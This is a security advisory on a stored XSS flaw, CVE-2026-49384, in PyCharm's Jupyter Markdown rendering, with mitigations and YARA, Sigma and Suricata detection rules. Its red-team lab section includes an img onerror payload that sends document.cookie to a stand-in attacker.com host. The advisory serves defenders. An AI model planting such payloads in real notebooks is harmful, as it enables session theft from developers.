CVE-2026-49384

Executive Summary

CVE-2026-49384 is a stored Cross-Site Scripting (XSS) vulnerability discovered in JetBrains PyCharm, specifically within its Jupyter notebook Markdown cell rendering. An attacker can inject malicious JavaScript code into a Markdown cell. When a victim opens or previews the notebook, the injected script executes within the context of the PyCharm IDE, potentially leading to data exfiltration, session hijacking, or arbitrary code execution within the IDE's sandbox. The vulnerability affects PyCharm versions prior to 2025.3.4. The CVSS score is 6.1 (Medium), and no public proof-of-concept or exploit code is currently available. The vendor has released a patched version.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must open the malicious notebook.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the stored XSS nature allows for persistent attacks. An attacker could craft a notebook that, once opened, executes malicious actions without further user interaction.

Deep Dive & Mechanics

The vulnerability resides in how PyCharm's Jupyter notebook integration processes Markdown cells. Markdown is a lightweight markup language, and PyCharm renders it to HTML for display. The flaw is that the Markdown parser does not properly sanitize or escape user-supplied content, specifically within Markdown cells. An attacker can embed HTML tags or JavaScript code within a Markdown cell. When PyCharm renders the notebook, it interprets the injected code as legitimate HTML/JavaScript, leading to XSS.

Attack Flow:

1. Crafting the Payload: An attacker creates a Jupyter notebook (.ipynb file) containing a Markdown cell with embedded malicious JavaScript. For example:

   <script>alert('XSS')</script>
   

2. Delivery: The attacker distributes the malicious notebook via email, file sharing, or a compromised repository.
3. Execution: A victim opens the notebook in a vulnerable version of PyCharm. The IDE renders the Markdown cell, executing the injected script.
4. Impact: The script can steal session tokens, modify the IDE's UI, exfiltrate local files, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely uses a Markdown-to-HTML converter that does not sanitize the output. For example:

import markdown

def render_markdown_cell(cell_content):
    # Vulnerable: No sanitization
    html = markdown.markdown(cell_content)
    return html

Patched Code (Conceptual): The patched version sanitizes the HTML output to remove or escape dangerous tags and attributes.

import markdown
import bleach

def render_markdown_cell(cell_content):
    # Patched: Sanitize the HTML output
    html = markdown.markdown(cell_content)
    safe_html = bleach.clean(html, tags=['p', 'b', 'i', 'em', 'strong', 'a', 'code', 'pre', 'h1', 'h2', 'h3', 'ul', 'ol', 'li'], attributes={'a': ['href']})
    return safe_html

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install a vulnerable version of PyCharm (e.g., 2025.3.3).
2. Create a new Jupyter notebook.
3. Add a Markdown cell with the following payload:

   <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
   

4. Save the notebook and share it with the victim.

Exploitation:

• The victim opens the notebook in PyCharm.
• The onerror event triggers, sending the victim's cookies to the attacker's server.
• The attacker can then hijack the victim's session.

Blue Team (Defensive)

Detection:

• Monitor for unusual outbound network connections from PyCharm processes.
• Inspect Jupyter notebook files (.ipynb) for suspicious HTML/JavaScript content.
• Use endpoint detection and response (EDR) tools to detect script execution within the IDE.

Prevention:

• Apply the vendor patch immediately.
• Implement content security policies (CSP) within the IDE if possible.
• Educate users about the risks of opening notebooks from untrusted sources.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256): (None available publicly)
• Network Indicators:
  • Outbound connections to attacker-controlled domains/IPs from PyCharm.
  • HTTP requests containing document.cookie or similar exfiltration patterns.
• File Artifacts:
  • Jupyter notebook files (.ipynb) containing <script>, <img onerror>, or other HTML event handlers.
  • Modified PyCharm configuration files (e.g., settings.json) if the attacker persists.

Detection Engineering

YARA Rule

rule CVE_2026_49384_JetBrains_PyCharm_XSS {
    meta:
        description = "Detects Jupyter notebook files with potential XSS payloads targeting CVE-2026-49384"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-49384"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /<[^>]+onerror\s*=[^>]*>/is
        $xss3 = /<[^>]+onload\s*=[^>]*>/is
        $xss4 = /javascript\s*:/is
    condition:
        (any of ($xss*)) and (filetype == "ipynb")
}

Sigma Rule

title: CVE-2026-49384 - Stored XSS in JetBrains PyCharm Jupyter Notebook
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential exploitation of CVE-2026-49384 via Jupyter notebook files.
author: Valters IT
date: 2026/01/01
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|endswith: '.ipynb'
        TargetFilename|contains: 'script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in notebooks
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-49384 - Potential XSS Exfiltration from PyCharm"; flow:to_server,established; content:"document.cookie"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade JetBrains PyCharm to version 2025.3.4 or later.
2. Workaround: If immediate patching is not possible, disable the Jupyter notebook integration or restrict the opening of notebooks from untrusted sources.
3. User Education: Train users to avoid opening Jupyter notebooks from unknown or untrusted sources.
4. Monitoring: Implement file integrity monitoring (FIM) for .ipynb files and monitor for suspicious script execution within the IDE.
5. Network Segmentation: Limit outbound network access from development environments to reduce the risk of data exfiltration.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert